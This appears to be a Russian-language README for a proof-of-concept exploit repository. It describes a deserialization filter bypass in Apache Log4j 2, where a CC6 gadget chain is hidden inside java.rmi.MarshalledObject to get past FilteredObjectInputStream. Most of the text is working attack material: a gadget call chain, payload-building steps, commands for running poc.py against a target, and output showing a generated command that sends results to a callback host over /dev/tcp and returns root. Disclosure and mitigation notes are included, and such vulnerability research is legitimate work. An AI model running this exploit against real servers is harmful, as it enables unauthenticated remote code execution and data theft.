
Pre-auth RCE через обход FilteredObjectInputStream MarshalledObject в Apache Log4j 2
RCE без аутентификации на любом Java-сервисе, который десериализует LogEvent через FilteredObjectInputStream от Log4j. Учётные данные не требуются.
Сообщено как GitHub issue #4255 24 августа 2026 года.
Log4j поставляет FilteredObjectInputStream (FOIS) как безопасную обёртку десериализации. Он переопределяет resolveClass() с белым списком, чтобы пропускать только org.apache.logging.log4j.*, java.lang.*, java.util.* и несколько явно указанных классов.
Одним из таких явных классов является java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- проблема
...);
MarshalledObject.get() создаёт новый, обычный ObjectInputStream внутри. Без фильтра. Всё, что обёрнуто внутри MarshalledObject, десериализуется без каких-либо ограничений, полностью обходя белый список.
Log4j сам выполняет такую обёртку. LogEventProxy (сериализационный прокси для каждого LogEvent) хранит сообщение события в поле MarshalledObject<Message>. При десериализации он вызывает marshalledMessage.get() для восстановления сообщения. Этот вызов создаёт нефильтрованный поток. Игра окончена.
Фильтр видит только описания классов верхнего уровня в потоке:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS проверяет LogEventProxy (пакет log4j, разрешён), MarshalledObject (в белом списке) и byte[] (примитив). Всё проходит. Цепочка гаджетов CC6 спрятана внутри MarshalledObject.objBytes как необработанные байты. FOIS её не видит.
Когда выполняется LogEventProxy.readResolve():
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // нефильтрованный ObjectInputStream
} catch (final Exception ex) {
// игнорируем
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() создаёт обычный ObjectInputStream, цепочка CC6 срабатывает, и команда выполняется. Блок catch проглатывает ClassCastException, когда результат гаджета не является Message, поэтому сервер отвечает нормально. Ни ошибки, ни записи в журнале.
Для сравнения, ObjectMessage делает это правильно:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // создаёт ФИЛЬТРОВАННЫЙ внутренний поток
}
LogEventProxy должен использовать тот же шаблон, но не использует.
Атакующий Цель (приёмник на основе FOIS)
| |
| HTTP POST /log |
| Тело: сериализованный LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ пакет log4j
| ├── resolveClass(MarshalledObject) ✓ белый список
| └── resolveClass(byte[]) ✓ примитив
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) БЕЗ ФИЛЬТРА
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
Сервер отвечает 200 и обрабатывает событие так, как будто ничего не произошло.
Суть в том, чтобы поместить цепочку CC6 внутрь MarshalledObject.objBytes без её преждевременного срабатывания.
GadgetMessage реализует Message и переопределяет writeReplace(), чтобы вернуть гаджет CC6:
Log4jLogEvent с GadgetMessage в качестве сообщения.LogEventProxy.writeObject() вызывает marshall(message), который передаёт GadgetMessage в конструктор MarshalledObject.GadgetMessage. Срабатывает writeReplace() и подставляет HashSet CC6.MarshalledObject.objBytes содержит цепочку CC6. GadgetMessage никогда не появляется в передаваемых данных.GadgetMessage существует только на стороне атакующего. Его не нужно иметь в classpath цели.
| Компонент | Уязвим |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 — 2.24.3 |
log4j-core (поле MarshalledObject в LogEventProxy) | 2.8.0 — 2.24.3 |
Цели также нужна библиотека гаджетов в classpath. Этот PoC использует Commons Collections 3.2.1 (цепочка CC6).
Требования: Java 11+, Maven, Python 3.10+, Docker (только для лаборатории жертвы)
Сборка и запуск жертвы:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Сборка эксплойта (или позвольте poc.py сделать это при первом запуске):
cd exploit && mvn package -q -DskipTests && cd ..
Запуск:
# --lhost — ваш IP, доступный с цели
# для Docker-лаборатории на том же хосте используйте IP моста docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Вывод:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Пользовательский порт обратного вызова:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package в exploit/ для компиляции PayloadGenerator и загрузки зависимостей. При последующих запусках пропускается.java -cp exploit/target/... PayloadGenerator <cmd> на хосте. Выводит base64-сериализованный LogEvent с CC6 внутри MarshalledObject.--lport (по умолчанию 9999) для приёма вывода команды./log цели./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # скрипт эксплойта
├── exploit/ # атакующий (запускается на хосте)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message с writeReplace()
└── lab/ # жертва (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # HTTP-конечная точка с использованием FOIS
lab/ — жертва. HttpLogReceiver — HTTP-приёмник журналов, использующий FilteredObjectInputStream. Конфигурация по умолчанию, без отладочных флагов, без искусственных слабостей. Commons Collections в classpath как реалистичная транзитивная зависимость.
exploit/ — инструментарий атакующего. PayloadGenerator собирает сериализованную полезную нагрузку на хосте. Никогда не касается контейнера жертвы.
java.rmi.MarshalledObject из REQUIRED_JAVA_CLASSES.MarshalledObject<Message> в LogEventProxy на byte[], сериализуемое через SerializationUtil.writeWrappedObject() / readWrappedObject(). Это тот же шаблон, который ObjectMessage уже использует правильно.CC 3.2.1 и более ранние: InvokerTransformer сериализуется свободно. CC6 работает как есть.
CC 3.2.2 (ноябрь 2015): Добавлена защита сериализации в InvokerTransformer, которая блокирует цепочку, если org.apache.commons.collections.enableUnsafeSerialization не установлен в true.
Обход фильтра существует независимо от версии CC. Защита CC — это эшелонированная оборона на уровне гаджетов, а не исправление сломанного фильтра. Любая другая незащищённая библиотека гаджетов (Groovy, BeanShell, Spring Beans и т. д.) позволяет выполнить ту же атаку.
docker rm -f fois-lab
docker rmi fois-bypass-lab
Только для авторизованного тестирования. Получите письменное разрешение перед запуском этого против чего-либо, что вам не принадлежит.